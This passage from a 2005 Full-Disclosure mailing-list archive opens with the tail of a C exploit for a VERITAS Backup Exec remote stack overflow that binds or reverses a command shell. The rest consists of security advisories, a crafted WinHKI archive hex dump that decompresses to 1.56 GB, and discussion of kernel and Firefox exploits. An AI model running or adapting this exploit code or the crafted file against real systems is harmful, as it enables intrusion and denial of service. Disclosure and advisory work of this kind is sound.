#ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 2, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 3, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 4, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 5, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 6, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 7, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 8, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(1000); #else Sleep(1); #endif printf("[+] size of payload: %d\n",(sizeof(talk)-1)+strlen(payload)*7); printf("[+] payload sent.\n"); return 0; } } closesocket(s); #ifdef WIN32 WSACleanup(); #endif return 0; } void usage(char* us) { printf("USAGE:\n"); printf(" [+] . 101_BXEC.exe Version VulnIP\n"); printf(" [+] . 101_BXEC.exe Version VulnIP VulnPORT\n"); printf(" [+] . 101_BXEC.exe Version VulnIP VulnPORT GayIP GayPORT\n"); printf("VERSION: \n"); printf(" [+] 1. Backup Exec v9.1.4691.SP1\n"); printf(" [+] 1. Backup Exec v9.1.4691.SP0\n"); printf(" [+] 2. Backup Exec v8.5.3572\n"); printf("TARGET: \n"); printf(" [+] . 2k3/2k/XP/NT4 universal (*)\n"); printf("NOTE: \n"); printf(" The exploit bind a cmdshell port 101 or\n"); printf(" reverse a cmdshell on your listener.\n"); printf(" A wildcard (*) mean tested working.\n"); printf(" Compilation msvc6, cygwin, Linux.\n"); return; } void ver() { printf(" \n"); printf(" ================================================[0.4]========\n"); printf(" =================VERITAS Backup Exec 8.x/9.x=================\n"); printf(" =========Agent Browser Service, Remote Stack Overflow========\n"); printf(" ======coded by class101=============[Hat-Squad.com 2005]=====\n"); printf(" =============================================================\n"); printf(" \n"); } ------------------------------------------------------------- class101 Hat-Squad.com ------------------------------------------------------------- ------------------------------------------------------------------------------ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/d434f1c9/attachment.html From Athanasius at miggy.org Tue Jan 11 14:20:52 2005 From: Athanasius at miggy.org (Athanasius) Date: Tue, 11 Jan 2005 14:20:52 +0000 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <888c2d720501102356552821df@mail.gmail.com> References: <888c2d720501102356552821df@mail.gmail.com> Message-ID: <20050111142052.GC968@miggy.org> On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote: > I'm running a small server with the 2.6.10 kernel. > > The exploit doesen't seem to be working on this kernel. Is there a way > to make sure the sistem is vulnerable or not? I couldn't get the exploit to work for 2.6.10 either. First there's changing a struct in it to user_desc to make it compile, then it just SEGVs all the time here. This is quite apart from the fact it's trying to exploit a race condition and as such can take a lot of attempts in a loop to actually work anyway (must have hit it on the 50th or more iteration on my 2.4.28 machine). Anyone got working exploit code for 2.6.10 ? -Ath -- - Athanasius = Athanasius(at)miggy.org / http://www.miggy.org/ Finger athan(at)fysh.org for PGP key "And it's me who is my enemy. Me who beats me up. Me who makes the monsters. Me who strips my confidence." Paula Cole - ME -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/1fbc973c/attachment.bin From craig.soderland at sap.com Tue Jan 11 14:37:20 2005 From: craig.soderland at sap.com (Soderland, Craig) Date: Tue, 11 Jan 2005 15:37:20 +0100 Subject: [Full-Disclosure] Firespoofing [Firefox 1.0] Message-ID: This does not work if you are using the FireFox 1.0 tabbed browsing feature, as your pop up window simply opens a new tab, and it then becomes immediately obvious what you are trying to pull off here. > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure- > bounces at lists.netsys.com] > Sent: Monday, January 10, 2005 6:22 PM > To: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com; > NTBUGTRAQ at listserv.ntbugtraq.com > Subject: [Full-Disclosure] Firespoofing [Firefox 1.0] > > __Summary > > Using javascript it is possible to spoof the content of security and > download dialogs by partly covering them with a popup window. This can > fool > a user to download and automaticly execute a file (if a file extension > association exists) or to grant a script local data access (if codebase > principals are enabled). > > __Expected Behavior > > Modal dialogs should always be on top and it should not be possible to > obfuscate their appearance. > > __Proof-of-Concept > > http://www.mikx.de/firespoofing/ > > The PoC is designed for Firefox 1.0 running in a maximized window. > > Part 1 - download dialog spoofing > Shows how to cover a download dialog and fool the user to execute a file > with a standard windows file association (in this case a .ht file). BTW, > remember the latest .ht buffer overflow... > > Part 2 - security dialog spoofing > Shows how to cover a security dialog. Make sure codebase principals are > enabled (not default but encouraged by many XUL sites). Creates the file > c:\booom.txt to proof local system access. > > __Status > > The bug is confirmed but currently unfixed (open for more than 3 months). > As > a partial workaround set dom.disable_window_flip to true in about:config. > The vendor failed to respond to multiple status requests which led to this > public disclosure. > > 2004-09-20 Vendor informed (bugzilla.mozilla.org #260560) > 2004-09-20 Vendor confirmed bug > 2004-10-20 Status request (open for 1 month - no reply) > 2005-01-03 Status request (open for 3 months - no reply) > 2005-01-07 Status request (disclosure warning - no reply) > 2005-01-11 Public disclosure > > __Affected Software > > Tested with Firefox 1.0, Mozilla 1.7.5 and Netscape 7.1 on Windows XP SP2. > > __Contact Informations > > Michael Krax > http://www.mikx.de/?p=7 > > mikx > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From dank.krew at gmail.com Tue Jan 11 15:05:12 2005 From: dank.krew at gmail.com (stonersavant) Date: Tue, 11 Jan 2005 07:05:12 -0800 Subject: [Full-Disclosure] Shoe 1.0 - Remote Lace Overflow In-Reply-To: <6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net> References: <20041222162045.GA12051@0x90.org> <6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net> Message-ID: <7edf447e05011107057e2f07b3@mail.gmail.com> I tested this in my lab. I'm happy to report that s10.5 Ninja Tabi boots appear to be unaffected by the vulnerability. savant http://johnny.ihackstuff.com On Sun, 26 Dec 2004 19:45:54 -0500, Nancy Kramer wrote: > The points on cowboy boots are also great for stepping on cockroaches in > corners thereby helping one maintain a bug free environment. > > Regards, > > Nancy Kramer > Webmaster http://www.americandreamcars.com > Free Color Picture Ads for Collector Cars > One of the Ten Best Places To Buy or Sell a Collector Car on the Web > > > At 06:49 PM 12/25/2004, Thomas Sutpen wrote: > > >On Wed, 22 Dec 2004 11:20:45 -0500, announce at 0x90.org > >wrote: > >[...] > > > Vulnerable Sizes: > > > ----------------- > > > 6 through 13. Other sizes may be vulnerable, but were unavailable for > > testing. > > > >Cursory note: The guy with the size 13s must get all the chicks. You > >know what they say .... > > > >[...] > > > > > Fix: > > > ---- > > > Do not wear untrusted shoes sent to you. Other possible workarounds > > include > > > sandals (aka. flip-flops). These are a good work-around and are widely > > > available for those concerned about their security. > > > >Merrell also makes a "Jungle Moc" that is a mitigating factor to this > >vulnerability. All shoes of similar "Moccasin" styles, as well as > >Cowboy Boots, also seem to be unaffected. Cowboy Boots with spurs > >seem to add an additional layer of security, as well as cool points. > > > >Review of their website seems to indicate that they're going to be > >discontinuing the line, though. So, with Boxing Day tommorrow, I'd > >recommend snapping up a few pairs as a cautionary posture against the > >possibility of future attacks. > > > >[...] > > > >TS > >_______________________________________________ > >Full-Disclosure - We believe in it. > >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > > > > > >--- > >Incoming mail is certified Virus Free. > >Checked by AVG anti-virus system (http://www.grisoft.com). > >Version: 6.0.822 / Virus Database: 560 - Release Date: 12/22/2004 > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.822 / Virus Database: 560 - Release Date: 12/22/2004 > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > -- someone is watching you. From openpkg at openpkg.org Tue Jan 11 15:09:17 2005 From: openpkg at openpkg.org (OpenPKG) Date: Tue, 11 Jan 2005 16:09:17 +0100 Subject: [Full-Disclosure] [OpenPKG-SA-2005.001] OpenPKG Security Advisory (perl) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ OpenPKG Security Advisory The OpenPKG Project http://www.openpkg.org/security.html http://www.openpkg.org openpkg-security at openpkg.org openpkg at openpkg.org OpenPKG-SA-2005.001 11-Jan-2005 ________________________________________________________________________ Package: perl Vulnerability: information disclosure, insecure permissions OpenPKG Specific: no Affected Releases: Affected Packages: Corrected Packages: OpenPKG CURRENT <= perl-5.8.6-20041129 >= perl-5.8.6-20050111 OpenPKG 2.2 <= perl-5.8.5-2.2.0 >= perl-5.8.5-2.2.1 OpenPKG 2.1 <= perl-5.8.4-2.1.0 >= perl-5.8.4-2.1.1 Dependent Packages: none Description: Jeroen van Wolffelaar discovered that the rmtree() function in the Perl [0] File::Path module removes directory trees in an insecure manner which could lead to the removal of arbitrary files and directories through a symlink attack. The Common Vulnerabilities and Exposures (CVE) project assigned the id CAN-2004-0452 [1] to the problem. Trustix developers discovered several insecure uses of temporary files in many modules which allow a local attacker to overwrite files via a symlink attack. The Common Vulnerabilities and Exposures (CVE) project assigned the id CAN-2004-0976 [2] to the problem. Please check whether you are affected by running "/bin/openpkg rpm -q perl". If you have the "perl" package installed and its version is affected (see above), we recommend that you immediately upgrade it (see Solution) [3][4]. Solution: Select the updated source RPM appropriate for your OpenPKG release [5][6], fetch it from the OpenPKG FTP service [7][8] or a mirror location, verify its integrity [9], build a corresponding binary RPM from it [3] and update your OpenPKG installation by applying the binary RPM [4]. For the most recent release OpenPKG 2.2, perform the following operations to permanently fix the security problem (for other releases adjust accordingly). $ ftp ftp.openpkg.org ftp> bin ftp> cd release/2.2/UPD ftp> get perl-5.8.5-2.2.1.src.rpm ftp> bye $ /bin/openpkg rpm -v --checksig perl-5.8.5-2.2.1.src.rpm $ /bin/openpkg rpm --rebuild perl-5.8.5-2.2.1.src.rpm $ su - # /bin/openpkg rpm -Fvh /RPM/PKG/perl-5.8.5-2.2.1.*.rpm ________________________________________________________________________ References: [0] http://www.perl.com/ [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0452 [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0976 [3] http://www.openpkg.org/tutorial.html#regular-source [4] http://www.openpkg.org/tutorial.html#regular-binary [5] ftp://ftp.openpkg.org/release/2.2/UPD/perl-5.8.5-2.2.1.src.rpm [6] ftp://ftp.openpkg.org/release/2.1/UPD/perl-5.8.4-2.1.1.src.rpm [7] ftp://ftp.openpkg.org/release/2.2/UPD/ [8] ftp://ftp.openpkg.org/release/2.1/UPD/ [9] http://www.openpkg.org/security.html#signature ________________________________________________________________________ For security reasons, this advisory was digitally signed with the OpenPGP public key "OpenPKG " (ID 63C4CB9F) of the OpenPKG project which you can retrieve from http://pgp.openpkg.org and hkp://pgp.openpkg.org. Follow the instructions on http://pgp.openpkg.org/ for details on how to verify the integrity of this advisory. ________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Comment: OpenPKG iD8DBQFB4+wMgHWT4GPEy58RAmB8AJ9RXjXuF4foXhhDAvR4KRRJ31dUBwCg6pRb TZQ44p6zfBdfieRvvcf3QLo= =CkBO -----END PGP SIGNATURE----- From mike_diack at hotmail.com Tue Jan 11 15:13:45 2005 From: mike_diack at hotmail.com (Mike Diack) Date: Tue, 11 Jan 2005 15:13:45 -0000 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? References: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: Where are they? Mike From krispykringle at gentoo.org Tue Jan 11 15:38:31 2005 From: krispykringle at gentoo.org (Dan Margolis) Date: Tue, 11 Jan 2005 10:38:31 -0500 Subject: [Full-Disclosure] [ GLSA 200501-19 ] imlib2: Buffer overflows in image decoding Message-ID: <20050111153831.GA21117@specialk> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: imlib2: Buffer overflows in image decoding Date: January 11, 2005 Bugs: #77002 ID: 200501-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple overflows have been found in the imlib2 library image decoding routines, potentially allowing the execution of arbitrary code. Background ========== imlib2 is an advanced replacement for image manipulation libraries such as libXpm. It is utilized by numerous programs, including gkrellm and several window managers, to display images. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-libs/imlib2 < 1.2.0 >= 1.2.0 Description =========== Pavel Kankovsky discovered that several buffer overflows found in the libXpm library (see GLSA 200409-34) also apply to imlib (see GLSA 200412-03) and imlib2. He also fixed a number of other potential security vulnerabilities. Impact ====== A remote attacker could entice a user to view a carefully-crafted image file, which would potentially lead to the execution of arbitrary code with the rights of the user viewing the image. This affects any program that utilizes of the imlib2 library. Workaround ========== There is no known workaround at this time. Resolution ========== All imlib2 users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-libs/imlib2-1.2.0" References ========== [ 1 ] CAN-2004-1026 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026 [ 2 ] GLSA 200412-03 http://security.gentoo.org/glsa/glsa-200412-03.xml Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-19.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 481 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/da687583/attachment.bin From rivgi at finjan.com Tue Jan 11 15:44:40 2005 From: rivgi at finjan.com (Rafel Ivgi) Date: Tue, 11 Jan 2005 17:44:40 +0200 Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB References: <20050108092930.73686.qmail@web20222.mail.yahoo.com> Message-ID: <025c01c4f7f4$769b32e0$de03a8c0@Finjan.co.il> The original file wasn't a 1.56 with null that were compressed, it was a smal file with 1024 FF's which was extracted to a 1.56 of nulls...that is not obvious, that is a bug. Rafel Ivgi Security Consultant ----- Original Message ----- From: "bipin gautam" To: Sent: Saturday, January 08, 2005 11:29 AM Subject: Re: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB > that's obvious isn't it... say... if you create a few > GB file with null characters, 0X00 and compress > it...... that will produce a similar result. such > issue is known for any file compress utility for ages. > > > any... software will do the same! try it. and THAT'S > OBVIOUS! > --- "Rafel Ivgi, The-Insider" > wrote: > >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> Application: WinHKI >> Vendors: http://www.webtoolmaster.com >> Versions: 1.4d >> Platforms: Windows >> Bug: ARC File Extraction of 1KB to 1.56GB >> Exploitation: Local (extract file) >> Date: 24 Dec 2004 >> Author: Rafel Ivgi, The-Insider >> E-Mail: the_insider at mail.com >> Website: http://theinsider.deep-ice.com >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> 1) Introduction >> 2) Bugs >> 3) The Code >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> =============== >> 1) Introduction >> =============== >> >> WinHKI is a file archiever which supports: ARC, BH, >> CAB, HKI, JAR, LHA,TAR, >> >> GZ compressions. >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> ====== >> 2) Bug >> ====== >> >> This is a normal CAB compressed file header >> >> 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B >> ..251.HTM.^^^^^. >> 00000010 0000 0078 3139 73B5 121B 0000 003C 7363 >> ...x19s......> 00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73 >> ript.>alert()> 00000030 6372 6970 743E 0D0A 1A00 >> cript>.... >> >> By adding after the filename header a certain amount >> of chars >> and replacing all nulls (00) with FF (in order to >> avoid our >> long string from being terminated) >> >> 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF >> ..251.HTM.^^^^^. >> 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B >> ................ >> 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363 >> ...x19s......> 00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73 >> ript.>alert()> 00000430 6372 6970 743E 0D0A 1A00 >> cript>.... >> >> >> HKI will create a 1.56 GIGA BYTE file on at the >> selected extract location. >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> =========== >> 3) The Code >> =========== >> >> An online proof of concept can be found at: >> http://theinsider.deep-ice.com/hki156gb.ARC >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> --- >> Rafel Ivgi, The-Insider >> http://theinsider.deep-ice.com >> >> "Scripts and Codes will make me D.O.S , but they >> will never HACK me." >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: >> http://lists.netsys.com/full-disclosure-charter.html >> > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - Easier than ever with enhanced search. Learn more. > http://info.mail.yahoo.com/mail_250 > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ----------------------------------------------- This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm) From james.greenhalgh at worldpay.com Tue Jan 11 15:47:09 2005 From: james.greenhalgh at worldpay.com (James Greenhalgh) Date: Tue, 11 Jan 2005 15:47:09 +0000 Subject: [Full-Disclosure] Firespoofing [Firefox 1.0] In-Reply-To: References: Message-ID: <41E3F4FD.30609@worldpay.com> Soderland, Craig wrote: > This does not work if you are using the FireFox 1.0 tabbed browsing > feature, as your pop up window simply opens a new tab, and it then > becomes immediately obvious what you are trying to pull off here. It also doesn't work on non-Windows or with non-default colours. Really - this is more a window management thing surely? If someone fell for this, they'd deserve it to be honest. From ostiguy at gmail.com Tue Jan 11 16:06:41 2005 From: ostiguy at gmail.com (Matt Ostiguy) Date: Tue, 11 Jan 2005 11:06:41 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: References: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: <3dc922c3050111080661091890@mail.gmail.com> On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack wrote: > Where are they? > Mike > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > My experience has been that the 2nd tuesday of the month patch drop occurs late in the day or evening, Eastern Standard Time. Matt From dragon at dragons.org.uk Tue Jan 11 16:07:21 2005 From: dragon at dragons.org.uk (Gaz Wilson) Date: Tue, 11 Jan 2005 16:07:21 +0000 (GMT) Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <20050111142052.GC968@miggy.org> References: <888c2d720501102356552821df@mail.gmail.com> <20050111142052.GC968@miggy.org> Message-ID: On Tue, 11 Jan 2005, Athanasius wrote: > On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote: > > I'm running a small server with the 2.6.10 kernel. > > > > The exploit doesen't seem to be working on this kernel. Is there a way > > to make sure the sistem is vulnerable or not? > > I couldn't get the exploit to work for 2.6.10 either. First there's > changing a struct in it to user_desc to make it compile, then it just > SEGVs all the time here. I get it compiled and running on 2.6.8, but it doesn't do anything, other than hog all available CPU for about 10-15 minutes followed by: [-] FAILED: try again (-f switch) and again (Cannot allocate memory) Killed The same thing happens with the -f switch, except the process gets stopped (SIGSTOP) instead of killed after the alloted time. -- / Gary Wilson, aka dragon/dragonlord/dragonv480 \ .'(_.------. e: dragon at northernscum.org.uk MSN: dragonv480 .------._)`. < _ | Skype:dragonv480 ICQ:342070475 AIM:dragonv480 | _ > `.( `------' w: http://volvo480.northernscum.org.uk `------' ).' \ w: http://www.northernscum.org.uk / From var at deny-all.com Tue Jan 11 16:11:17 2005 From: var at deny-all.com (Vincent Archer) Date: Tue, 11 Jan 2005 17:11:17 +0100 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: References: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: <20050111161117.GJ214@DAPCVA.da> On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > Where are they? > Mike Thursday usually, not tuesday? -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com From koon at gentoo.org Tue Jan 11 16:14:40 2005 From: koon at gentoo.org (Thierry Carrez) Date: Tue, 11 Jan 2005 17:14:40 +0100 Subject: [Full-Disclosure] [ GLSA 200501-20 ] o3read: Buffer overflow during file conversion Message-ID: <41E3FB70.3010404@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: o3read: Buffer overflow during file conversion Date: January 11, 2005 Bugs: #74478 ID: 200501-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A buffer overflow in o3read allows an attacker to execute arbitrary code by way of a specially crafted XML file. Background ========== o3read is a standalone converter for OpenOffice.org files. It allows a user to dump the contents tree (o3read) and convert to plain text (o3totxt) or to HTML (o3tohtml) Writer and Calc files. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/o3read <= 0.0.3 >= 0.0.4 Description =========== Wiktor Kopec discovered that the parse_html function in o3read.c copies any number of bytes into a 1024-byte t[] array. Impact ====== Using a specially crafted file, possibly delivered by e-mail or over the Web, an attacker may execute arbitrary code with the permissions of the user running o3read. Workaround ========== There is no known workaround at this time. Resolution ========== All o3read users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/o3read-0.0.4" References ========== [ 1 ] CAN-2004-1288 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1288 [ 2 ] Wiktor Kopec advisory http://tigger.uic.edu/~jlongs2/holes/o3read.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-20.xml 